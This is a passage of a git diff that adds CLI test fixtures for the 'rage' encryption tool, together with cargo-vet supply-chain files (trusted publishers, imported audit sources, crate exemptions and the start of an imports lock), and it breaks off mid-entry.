"-p" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Parsing Error: Error { input: "", code: Tag } + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" + +# We get an error from the `pinentry` crate because we've passed a real but invalid binary +# that does not speak the pinentry protocol. +[env.add] +PINENTRY_PROGRAM = "true" diff --git a/lib/rage/rage/tests/windows/rage/encrypt-passphrase-without-file-argument.toml b/lib/rage/rage/tests/windows/rage/encrypt-passphrase-without-file-argument.toml new file mode 100644 index 0000000..2f393d4 --- /dev/null +++ b/lib/rage/rage/tests/windows/rage/encrypt-passphrase-without-file-argument.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-p" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: File to encrypt must be passed as an argument when using -p/--passphrase. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/supply-chain/audits.toml b/lib/rage/supply-chain/audits.toml new file mode 100644 index 0000000..679e9d1 --- /dev/null +++ b/lib/rage/supply-chain/audits.toml @@ -0,0 +1,67 @@ + +# cargo-vet audits file + +[criteria.crypto-reviewed] +description = "The cryptographic code in this crate has been reviewed for correctness by a member of a designated set of cryptography experts within the project." + +[audits] + +[[trusted.pinentry]] +criteria = "safe-to-deploy" +user-id = 6289 # Jack Grigg (str4d) +start = "2020-01-12" +end = "2025-11-03" + +[[trusted.windows-sys]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-11-15" +end = "2024-08-06" + +[[trusted.windows-targets]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2022-09-09" +end = "2024-08-06" + +[[trusted.windows_aarch64_gnullvm]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2022-09-01" +end = "2024-08-06" + +[[trusted.windows_aarch64_msvc]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-11-05" +end = "2024-08-06" + +[[trusted.windows_i686_gnu]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-10-28" +end = "2024-08-06" + +[[trusted.windows_i686_msvc]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-10-27" +end = "2024-08-06" + +[[trusted.windows_x86_64_gnu]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-10-28" +end = "2024-08-06" + +[[trusted.windows_x86_64_gnullvm]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2022-09-01" +end = "2024-08-06" + +[[trusted.windows_x86_64_msvc]] +criteria = "safe-to-deploy" +user-id = 64539 # Kenny Kerr (kennykerr) +start = "2021-10-27" +end = "2024-08-06" diff --git a/lib/rage/supply-chain/config.toml b/lib/rage/supply-chain/config.toml new file mode 100644 index 0000000..c8f47ae --- /dev/null +++ b/lib/rage/supply-chain/config.toml @@ -0,0 +1,902 @@ + +# cargo-vet config file + +[cargo-vet] +version = "0.10" + +[imports.bytecode-alliance] +url = "https://raw.githubusercontent.com/bytecodealliance/wasmtime/main/supply-chain/audits.toml" + +[imports.embark-studios] +url = "https://raw.githubusercontent.com/EmbarkStudios/rust-ecosystem/main/audits.toml" + +[imports.fermyon] +url = "https://raw.githubusercontent.com/fermyon/spin/main/supply-chain/audits.toml" + +[imports.google] +url = "https://raw.githubusercontent.com/google/supply-chain/main/audits.toml" + +[imports.isrg] +url = "https://raw.githubusercontent.com/divviup/libprio-rs/main/supply-chain/audits.toml" + +[imports.mozilla] +url = "https://raw.githubusercontent.com/mozilla/supply-chain/main/audits.toml" + +[imports.zcash] +url = "https://raw.githubusercontent.com/zcash/rust-ecosystem/main/supply-chain/audits.toml" + +[imports.zcash.criteria-map] +ours = "crypto-reviewed" +theirs = "crypto-reviewed" + +[policy.age] +audit-as-crates-io = false + +[policy.age-core] +audit-as-crates-io = false + +[policy.age-plugin] +audit-as-crates-io = false + +[policy.rage] +audit-as-crates-io = false + +[[exemptions.aead]] +version = "0.5.1" +criteria = "safe-to-deploy" + +[[exemptions.aes]] +version = "0.8.2" +criteria = "safe-to-deploy" + +[[exemptions.aes-gcm]] +version = "0.10.3" +criteria = "safe-to-deploy" + +[[exemptions.aho-corasick]] +version = "1.1.1" +criteria = "safe-to-deploy" + +[[exemptions.android-tzdata]] +version = "0.1.1" +criteria = "safe-to-deploy" + +[[exemptions.anstream]] +version = "0.3.2" +criteria = "safe-to-deploy" + +[[exemptions.anstyle]] +version = "1.0.2" +criteria = "safe-to-deploy" + +[[exemptions.anstyle-parse]] +version = "0.2.1" +criteria = "safe-to-deploy" + +[[exemptions.anstyle-query]] +version = "1.0.0" +criteria = "safe-to-deploy" + +[[exemptions.anstyle-wincon]] +version = "1.0.2" +criteria = "safe-to-deploy" + +[[exemptions.arc-swap]] +version = "1.7.1" +criteria = "safe-to-deploy" + +[[exemptions.backtrace]] +version = "0.3.73" +criteria = "safe-to-run" + +[[exemptions.base64ct]] +version = "1.6.0" +criteria = "safe-to-deploy" + +[[exemptions.basic-toml]] +version = "0.1.9" +criteria = "safe-to-deploy" + +[[exemptions.bcrypt-pbkdf]] +version = "0.10.0" +criteria = "safe-to-deploy" + +[[exemptions.bech32]] +version = "0.9.1" +criteria = "safe-to-deploy" + +[[exemptions.block]] +version = "0.1.6" +criteria = "safe-to-deploy" + +[[exemptions.block-padding]] +version = "0.3.3" +criteria = "safe-to-deploy" + +[[exemptions.blowfish]] +version = "0.9.1" +criteria = "safe-to-deploy" + +[[exemptions.bzip2]] +version = "0.4.4" +criteria = "safe-to-deploy" + +[[exemptions.bzip2-sys]] +version = "0.1.11+1.0.8" +criteria = "safe-to-deploy" + +[[exemptions.cbc]] +version = "0.1.2" +criteria = "safe-to-deploy" + +[[exemptions.cc]] +version = "1.1.34" +criteria = "safe-to-deploy" + +[[exemptions.chacha20]] +version = "0.9.1" +criteria = "safe-to-deploy" + +[[exemptions.chacha20poly1305]] +version = "0.10.1" +criteria = "safe-to-deploy" + +[[exemptions.chrono]] +version = "0.4.38" +criteria = "safe-to-deploy" + +[[exemptions.ciborium]] +version = "0.2.2" +criteria = "safe-to-run" + +[[exemptions.ciborium-io]] +version = "0.2.2" +criteria = "safe-to-run" + +[[exemptions.ciborium-ll]] +version = "0.2.2" +criteria = "safe-to-run" + +[[exemptions.clap]] +version = "4.3.24" +criteria = "safe-to-deploy" + +[[exemptions.clap_builder]] +version = "4.3.24" +criteria = "safe-to-deploy" + +[[exemptions.clap_complete]] +version = "4.3.2" +criteria = "safe-to-deploy" + +[[exemptions.clap_derive]] +version = "4.3.12" +criteria = "safe-to-deploy" + +[[exemptions.clap_lex]] +version = "0.5.0" +criteria = "safe-to-deploy" + +[[exemptions.clap_mangen]] +version = "0.2.12" +criteria = "safe-to-deploy" + +[[exemptions.colorchoice]] +version = "1.0.2" +criteria = "safe-to-deploy" + +[[exemptions.console]] +version = "0.15.8" +criteria = "safe-to-deploy" + +[[exemptions.const-oid]] +version = "0.9.6" +criteria = "safe-to-deploy" + +[[exemptions.constant_time_eq]] +version = "0.1.5" +criteria = "safe-to-deploy" + +[[exemptions.content_inspector]] +version = "0.2.4" +criteria = "safe-to-run" + +[[exemptions.cookie-factory]] +version = "0.3.3" +criteria = "safe-to-deploy" + +[[exemptions.cpufeatures]] +version = "0.2.2" +criteria = "safe-to-deploy" + +[[exemptions.criterion]] +version = "0.3.6" +criteria = "safe-to-run" + +[[exemptions.criterion-cycles-per-byte]] +version = "0.6.1" +criteria = "safe-to-run" + +[[exemptions.criterion-plot]] +version = "0.4.5" +criteria = "safe-to-run" + +[[exemptions.crossbeam-utils]] +version = "0.8.8" +criteria = "safe-to-deploy" + +[[exemptions.ctr]] +version = "0.9.2" +criteria = "safe-to-deploy" + +[[exemptions.ctrlc]] +version = "3.4.2" +criteria = "safe-to-deploy" + +#[[exemptions.curve25519-dalek]] +#version = "4.2.0" +#criteria = "safe-to-deploy" + +#[[exemptions.curve25519-dalek-derive]] +#version = "0.1.0" +#criteria = "safe-to-deploy" + +[[exemptions.dashmap]] +version = "6.1.0" +criteria = "safe-to-deploy" + +[[exemptions.der]] +version = "0.7.8" +criteria = "safe-to-deploy" + +[[exemptions.digest]] +version = "0.9.0" +criteria = "safe-to-deploy" + +[[exemptions.displaydoc]] +version = "0.2.5" +criteria = "safe-to-deploy" + +[[exemptions.dunce]] +version = "1.0.5" +criteria = "safe-to-run" + +[[exemptions.encode_unicode]] +version = "0.3.6" +criteria = "safe-to-deploy" + +[[exemptions.env_logger]] +version = "0.10.2" +criteria = "safe-to-deploy" + +[[exemptions.filetime]] +version = "0.2.25" +criteria = "safe-to-deploy" + +[[exemptions.find-crate]] +version = "0.6.3" +criteria = "safe-to-deploy" + +[[exemptions.findshlibs]] +version = "0.10.2" +criteria = "safe-to-run" + +[[exemptions.fluent]] +version = "0.16.1" +criteria = "safe-to-deploy" + +[[exemptions.fluent-bundle]] +version = "0.15.3" +criteria = "safe-to-deploy" + +[[exemptions.fluent-syntax]] +version = "0.11.1" +criteria = "safe-to-deploy" + +[[exemptions.fuse_mt]] +version = "0.6.1" +criteria = "safe-to-deploy" + +[[exemptions.fuser]] +version = "0.13.0" +criteria = "safe-to-deploy" + +[[exemptions.futures-macro]] +version = "0.3.30" +criteria = "safe-to-deploy" + +[[exemptions.futures-sink]] +version = "0.3.30" +criteria = "safe-to-deploy" + +[[exemptions.futures-task]] +version = "0.3.25" +criteria = "safe-to-deploy" + +[[exemptions.futures-test]] +version = "0.3.30" +criteria = "safe-to-run" + +[[exemptions.futures-util]] +version = "0.3.21" +criteria = "safe-to-deploy" + +[[exemptions.generic-array]] +version = "0.14.6" +criteria = "safe-to-deploy" + +[[exemptions.getrandom]] +version = "0.2.10" +criteria = "safe-to-deploy" + +[[exemptions.ghash]] +version = "0.5.1" +criteria = "safe-to-deploy" + +[[exemptions.hashbrown]] +version = "0.14.2" +criteria = "safe-to-deploy" + +[[exemptions.hashbrown]] +version = "0.15.0" +criteria = "safe-to-run" + +[[exemptions.hermit-abi]] +version = "0.3.3" +criteria = "safe-to-deploy" + +[[exemptions.hermit-abi]] +version = "0.4.0" +criteria = "safe-to-deploy" + +[[exemptions.hkdf]] +version = "0.12.4" +criteria = "safe-to-deploy" + +[[exemptions.home]] +version = "0.5.5" +criteria = "safe-to-deploy" + +[[exemptions.humantime]] +version = "2.1.0" +criteria = "safe-to-deploy" + +[[exemptions.humantime-serde]] +version = "1.1.1" +criteria = "safe-to-run" + +[[exemptions.i18n-config]] +version = "0.4.7" +criteria = "safe-to-deploy" + +[[exemptions.i18n-embed]] +version = "0.15.2" +criteria = "safe-to-deploy" + +[[exemptions.i18n-embed-fl]] +version = "0.9.2" +criteria = "safe-to-deploy" + +[[exemptions.i18n-embed-impl]] +version = "0.8.4" +criteria = "safe-to-deploy" + +[[exemptions.iana-time-zone]] +version = "0.1.61" +criteria = "safe-to-deploy" + +[[exemptions.indexmap]] +version = "2.6.0" +criteria = "safe-to-run" + +[[exemptions.inferno]] +version = "0.11.17" +criteria = "safe-to-run" + +[[exemptions.intl-memoizer]] +version = "0.5.2" +criteria = "safe-to-deploy" + +[[exemptions.io_tee]] +version = "0.1.1" +criteria = "safe-to-deploy" + +[[exemptions.is-terminal]] +version = "0.4.13" +criteria = "safe-to-deploy" + +[[exemptions.jobserver]] +version = "0.1.24" +criteria = "safe-to-deploy" + +[[exemptions.js-sys]] +version = "0.3.60" +criteria = "safe-to-deploy" + +[[exemptions.libc]] +version = "0.2.158" +criteria = "safe-to-deploy" + +[[exemptions.libm]] +version = "0.2.2" +criteria = "safe-to-deploy" + +[[exemptions.libredox]] +version = "0.0.1" +criteria = "safe-to-deploy" + +[[exemptions.linux-raw-sys]] +version = "0.4.14" +criteria = "safe-to-deploy" + +[[exemptions.locale_config]] +version = "0.3.0" +criteria = "safe-to-deploy" + +[[exemptions.lock_api]] +version = "0.4.12" +criteria = "safe-to-deploy" + +[[exemptions.memchr]] +version = "2.6.3" +criteria = "safe-to-deploy" + +[[exemptions.minimal-lexical]] +version = "0.2.1" +criteria = "safe-to-deploy" + +[[exemptions.nix]] +version = "0.26.1" +criteria = "safe-to-deploy" + +[[exemptions.num-bigint-dig]] +version = "0.8.4" +criteria = "safe-to-deploy" + +[[exemptions.num-format]] +version = "0.4.4" +criteria = "safe-to-run" + +[[exemptions.num_cpus]] +version = "1.16.0" +criteria = "safe-to-deploy" + +[[exemptions.objc]] +version = "0.2.7" +criteria = "safe-to-deploy" + +[[exemptions.objc-foundation]] +version = "0.1.1" +criteria = "safe-to-deploy" + +[[exemptions.objc_id]] +version = "0.1.1" +criteria = "safe-to-deploy" + +[[exemptions.object]] +version = "0.36.5" +criteria = "safe-to-run" + +[[exemptions.once_cell]] +version = "1.15.0" +criteria = "safe-to-deploy" + +[[exemptions.os_pipe]] +version = "1.2.1" +criteria = "safe-to-run" + +[[exemptions.page_size]] +version = "0.5.0" +criteria = "safe-to-deploy" + +[[exemptions.parking_lot]] +version = "0.12.2" +criteria = "safe-to-deploy" + +[[exemptions.parking_lot_core]] +version = "0.9.10" +criteria = "safe-to-deploy" + +[[exemptions.password-hash]] +version = "0.4.2" +criteria = "safe-to-deploy" + +[[exemptions.pbkdf2]] +version = "0.11.0" +criteria = "safe-to-deploy" + +[[exemptions.pbkdf2]] +version = "0.12.2" +criteria = "safe-to-deploy" + +[[exemptions.pin-project]] +version = "1.1.5" +criteria = "safe-to-deploy" + +[[exemptions.pin-project-internal]] +version = "1.1.3" +criteria = "safe-to-deploy" + +[[exemptions.pkcs1]] +version = "0.7.5" +criteria = "safe-to-deploy" + +[[exemptions.pkcs8]] +version = "0.10.2" +criteria = "safe-to-deploy" + +[[exemptions.plotters]] +version = "0.3.7" +criteria = "safe-to-run" + +[[exemptions.plotters-backend]] +version = "0.3.7" +criteria = "safe-to-run" + +[[exemptions.plotters-svg]] +version = "0.3.6" +criteria = "safe-to-run" + +[[exemptions.poly1305]] +version = "0.8.0" +criteria = "safe-to-deploy" + +[[exemptions.polyval]] +version = "0.6.2" +criteria = "safe-to-deploy" + +[[exemptions.pprof]] +version = "0.13.0" +criteria = "safe-to-run" + +[[exemptions.ppv-lite86]] +version = "0.2.20" +criteria = "safe-to-deploy" + +[[exemptions.proc-macro-error-attr2]] +version = "2.0.0" +criteria = "safe-to-deploy" + +[[exemptions.proc-macro-error2]] +version = "2.0.1" +criteria = "safe-to-deploy" + +[[exemptions.proptest]] +version = "1.5.0" +criteria = "safe-to-run" + +[[exemptions.quick-error]] +version = "1.2.3" +criteria = "safe-to-run" + +[[exemptions.quick-xml]] +version = "0.26.0" +criteria = "safe-to-run" + +[[exemptions.rand]] +version = "0.8.5" +criteria = "safe-to-deploy" + +[[exemptions.redox_syscall]] +version = "0.5.7" +criteria = "safe-to-deploy" + +[[exemptions.regex]] +version = "1.9.5" +criteria = "safe-to-deploy" + +[[exemptions.regex-automata]] +version = "0.3.8" +criteria = "safe-to-deploy" + +[[exemptions.regex-syntax]] +version = "0.7.2" +criteria = "safe-to-deploy" + +[[exemptions.rgb]] +version = "0.8.50" +criteria = "safe-to-run" + +[[exemptions.roff]] +version = "0.2.1" +criteria = "safe-to-deploy" + +[[exemptions.rpassword]] +version = "7.3.1" +criteria = "safe-to-deploy" + +[[exemptions.rsa]] +version = "0.9.6" +criteria = "safe-to-deploy" + +[[exemptions.rtoolbox]] +version = "0.0.2" +criteria = "safe-to-deploy" + +[[exemptions.rust-embed]] +version = "8.3.0" +criteria = "safe-to-deploy" + +[[exemptions.rust-embed-impl]] +version = "8.3.0" +criteria = "safe-to-deploy" + +[[exemptions.rust-embed-utils]] +version = "8.3.0" +criteria = "safe-to-deploy" + +[[exemptions.rustix]] +version = "0.38.34" +criteria = "safe-to-deploy" + +[[exemptions.rusty-fork]] +version = "0.3.0" +criteria = "safe-to-run" + +[[exemptions.ryu]] +version = "1.0.15" +criteria = "safe-to-run" + +[[exemptions.salsa20]] +version = "0.10.2" +criteria = "safe-to-deploy" + +[[exemptions.same-file]] +version = "1.0.6" +criteria = "safe-to-deploy" + +[[exemptions.scopeguard]] +version = "1.2.0" +criteria = "safe-to-deploy" + +[[exemptions.scrypt]] +version = "0.11.0" +criteria = "safe-to-deploy" + +[[exemptions.secrecy]] +version = "0.10.3" +criteria = "safe-to-deploy" + +[[exemptions.self_cell]] +version = "0.10.3" +criteria = "safe-to-deploy" + +[[exemptions.self_cell]] +version = "1.0.4" +criteria = "safe-to-deploy" + +[[exemptions.serde_spanned]] +version = "0.6.3" +criteria = "safe-to-run" + +[[exemptions.sha2]] +version = "0.10.8" +criteria = "safe-to-deploy" + +[[exemptions.shlex]] +version = "1.3.0" +criteria = "safe-to-deploy" + +[[exemptions.similar]] +version = "2.6.0" +criteria = "safe-to-run" + +[[exemptions.slab]] +version = "0.4.9" +criteria = "safe-to-deploy" + +[[exemptions.smallvec]] +version = "1.11.1" +criteria = "safe-to-deploy" + +[[exemptions.snapbox]] +version = "0.4.11" +criteria = "safe-to-run" + +[[exemptions.snapbox-macros]] +version = "0.3.4" +criteria = "safe-to-run" + +[[exemptions.spin]] +version = "0.9.8" +criteria = "safe-to-deploy" + +[[exemptions.spki]] +version = "0.7.3" +criteria = "safe-to-deploy" + +[[exemptions.str_stack]] +version = "0.1.0" +criteria = "safe-to-run" + +[[exemptions.symbolic-common]] +version = "12.12.0" +criteria = "safe-to-run" + +[[exemptions.symbolic-demangle]] +version = "12.12.0" +criteria = "safe-to-run" + +[[exemptions.syn]] +version = "2.0.87" +criteria = "safe-to-deploy" + +[[exemptions.tar]] +version = "0.4.43" +criteria = "safe-to-deploy" + +[[exemptions.tempfile]] +version = "3.3.0" +criteria = "safe-to-deploy" + +[[exemptions.termcolor]] +version = "1.4.1" +criteria = "safe-to-deploy" + +[[exemptions.test-case]] +version = "3.3.1" +criteria = "safe-to-run" + +[[exemptions.test-case-core]] +version = "3.3.1" +criteria = "safe-to-run" + +[[exemptions.test-case-macros]] +version = "3.3.1" +criteria = "safe-to-run" + +[[exemptions.threadpool]] +version = "1.8.1" +criteria = "safe-to-deploy" + +[[exemptions.time]] +version = "0.1.44" +criteria = "safe-to-deploy" + +[[exemptions.tokio]] +version = "1.38.1" +criteria = "safe-to-run" + +[[exemptions.tokio-macros]] +version = "2.3.0" +criteria = "safe-to-run" + +[[exemptions.toml]] +version = "0.5.9" +criteria = "safe-to-deploy" + +[[exemptions.toml_edit]] +version = "0.19.14" +criteria = "safe-to-run" + +[[exemptions.trycmd]] +version = "0.14.16" +criteria = "safe-to-run" + +[[exemptions.type-map]] +version = "0.5.0" +criteria = "safe-to-deploy" + +[[exemptions.typenum]] +version = "1.15.0" +criteria = "safe-to-deploy" + +[[exemptions.unarray]] +version = "0.1.4" +criteria = "safe-to-run" + +[[exemptions.utf8parse]] +version = "0.2.2" +criteria = "safe-to-deploy" + +[[exemptions.uuid]] +version = "1.11.0" +criteria = "safe-to-run" + +[[exemptions.version_check]] +version = "0.9.5" +criteria = "safe-to-deploy" + +[[exemptions.walkdir]] +version = "2.5.0" +criteria = "safe-to-deploy" + +[[exemptions.wasi]] +version = "0.11.0+wasi-snapshot-preview1" +criteria = "safe-to-deploy" + +[[exemptions.wasm-bindgen]] +version = "0.2.92" +criteria = "safe-to-deploy" + +[[exemptions.wasm-bindgen-backend]] +version = "0.2.88" +criteria = "safe-to-deploy" + +[[exemptions.wasm-bindgen-macro]] +version = "0.2.87" +criteria = "safe-to-deploy" + +[[exemptions.web-sys]] +version = "0.3.65" +criteria = "safe-to-deploy" + +[[exemptions.which]] +version = "4.3.0" +criteria = "safe-to-deploy" + +[[exemptions.winapi]] +version = "0.3.9" +criteria = "safe-to-deploy" + +[[exemptions.winapi-i686-pc-windows-gnu]] +version = "0.4.0" +criteria = "safe-to-deploy" + +[[exemptions.winapi-util]] +version = "0.1.9" +criteria = "safe-to-deploy" + +[[exemptions.winapi-x86_64-pc-windows-gnu]] +version = "0.4.0" +criteria = "safe-to-deploy" + +[[exemptions.windows-core]] +version = "0.52.0" +criteria = "safe-to-deploy" + +[[exemptions.windows_i686_gnullvm]] +version = "0.52.6" +criteria = "safe-to-deploy" + +[[exemptions.winnow]] +version = "0.5.40" +criteria = "safe-to-run" + +[[exemptions.wsl]] +version = "0.1.0" +criteria = "safe-to-deploy" + +[[exemptions.x25519-dalek]] +version = "2.0.1" +criteria = "safe-to-deploy" + +[[exemptions.zerocopy]] +version = "0.6.6" +criteria = "safe-to-deploy" + +[[exemptions.zerocopy]] +version = "0.7.35" +criteria = "safe-to-deploy" + +[[exemptions.zerocopy-derive]] +version = "0.6.6" +criteria = "safe-to-deploy" + +[[exemptions.zerocopy-derive]] +version = "0.7.35" +criteria = "safe-to-deploy" + +[[exemptions.zeroize]] +version = "1.8.1" +criteria = "safe-to-deploy" + +[[exemptions.zeroize_derive]] +version = "1.3.2" +criteria = "safe-to-deploy" + +[[exemptions.zip]] +version = "0.6.6" +criteria = "safe-to-deploy" + +[[exemptions.zstd]] +version = "0.11.2+zstd.1.5.2" +criteria = "safe-to-deploy" + +[[exemptions.zstd-safe]] +version = "5.0.2+zstd.1.5.2" +criteria = "safe-to-deploy" + +[[exemptions.zstd-sys]] +version = "2.0.13+zstd.1.5.6" +criteria = "safe-to-deploy" diff --git a/lib/rage/supply-chain/imports.lock b/lib/rage/supply-chain/imports.lock new file mode 100644 index 0000000..12d3267 --- /dev/null +++ b/lib/rage/supply-chain/imports.lock @@ -0,0 +1,3041 @@ + +# cargo-vet imports lock + +[[publisher.bumpalo]] +version = "3.14.0" +when = "2023-09-14" +user-id = 696 +user-login = "fitzgen" +user-name = "Nick Fitzgerald" + +[[publisher.core-foundation-sys]] +version = "0.8.4" +when = "2023-04-03" +user-id = 5946 +user-login = "jrmuizel" +user-name = "Jeff Muizelaar" + +[[publisher.pinentry]] +version = "0.6.0" +when = "2024-11-03" +user-id = 6289 +user-login = "str4d" +user-name = "Jack Grigg" + +[[publisher.windows-sys]] +version = "0.45.0" +when = "2023-01-21" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-sys]] +version = "0.48.0" +when = "2023-03-31" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-sys]] +version = "0.52.0" +when = "2023-11-15" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-sys]] +version = "0.59.0" +when = "2024-07-30" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-targets]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-targets]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows-targets]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_gnullvm]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_gnullvm]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_gnullvm]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_msvc]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_msvc]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_aarch64_msvc]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_gnu]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_gnu]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_gnu]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_msvc]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_msvc]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_i686_msvc]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnu]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnu]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnu]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnullvm]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnullvm]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_gnullvm]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_msvc]] +version = "0.42.2" +when = "2023-03-13" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_msvc]] +version = "0.48.5" +when = "2023-08-18" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[publisher.windows_x86_64_msvc]] +version = "0.52.6" +when = "2024-07-03" +user-id = 64539 +user-login = "kennykerr" +user-name = "Kenny Kerr" + +[[audits.bytecode-alliance.wildcard-audits.bumpalo]] +who = "Nick Fitzgerald " +criteria = "safe-to-deploy" +user-id = 696 # Nick Fitzgerald (fitzgen) +start = "2019-03-16" +end = "2025-07-30" + +[[audits.bytecode-alliance.audits.addr2line]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.19.0 -> 0.20.0" +notes = "This version brings support for split-dwarf which while it uses the filesystem is always done at the behest of the caller, so everything is as expected for this update." + +[[audits.bytecode-alliance.audits.addr2line]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.20.0 -> 0.21.0" +notes = "This version bump updated some dependencies and optimized some internals. All looks good." + +[[audits.bytecode-alliance.audits.addr2line]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.21.0 -> 0.22.0" + +[[audits.bytecode-alliance.audits.adler]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "1.0.2" +notes = "This is a small crate which forbids unsafe code and is a straightforward implementation of the adler hashing algorithm." + +[[audits.bytecode-alliance.audits.adler2]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "2.0.0" +notes = "Fork of the original `adler` crate, zero unsfae code, works in `no_std`, does what it says on th tin." + +[[audits.bytecode-alliance.audits.anes]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.1.6" +notes = "Contains no unsafe code, no IO, no build.rs." + +[[audits.bytecode-alliance.audits.arrayvec]] +who = "Nick Fitzgerald " +criteria = "safe-to-deploy" +version = "0.7.2" +notes = """ +Well documented invariants, good assertions for those invariants in unsafe code, +and tested with MIRI to boot. LGTM. +""" + +[[audits.bytecode-alliance.audits.base64]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.21.0" +notes = "This crate has no dependencies, no build.rs, and contains no unsafe code." + +[[audits.bytecode-alliance.audits.block-buffer]] +who = "Benjamin Bouvier " +criteria = "safe-to-deploy" +delta = "0.9.0 -> 0.10.2" + +[[audits.bytecode-alliance.audits.cfg-if]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "1.0.0" +notes = "I am the author of this crate." + +[[audits.bytecode-alliance.audits.cipher]] +who = "Andrew Brown " +criteria = "safe-to-deploy" +version = "0.4.4" +notes = "Most unsafe is hidden by `inout` dependency; only remaining unsafe is raw-splitting a slice and an unreachable hint. Older versions of this regularly reach ~150k daily downloads." + +[[audits.bytecode-alliance.audits.core-foundation-sys]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +delta = "0.8.4 -> 0.8.6" +notes = """ +The changes here are all typical bindings updates: new functions, types, and +constants. I have not audited all the bindings for ABI conformance. +""" + +[[audits.bytecode-alliance.audits.cpufeatures]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.2.2 -> 0.2.7" +notes = """ +This is a minor update that looks to add some more detected CPU features and +various other minor portability fixes such as MIRI support. +""" + +[[audits.bytecode-alliance.audits.criterion]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +delta = "0.3.6 -> 0.4.0" +notes = """ +criterion v0.3.6..v0.4.0 is mostly re-arranging the crate features and bumping dependencies. all changes +to code seem to be confined to benchmarks. +""" + +[[audits.bytecode-alliance.audits.criterion-plot]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +delta = "0.4.5 -> 0.5.0" +notes = "Just a version bump, only change to code is to remove an 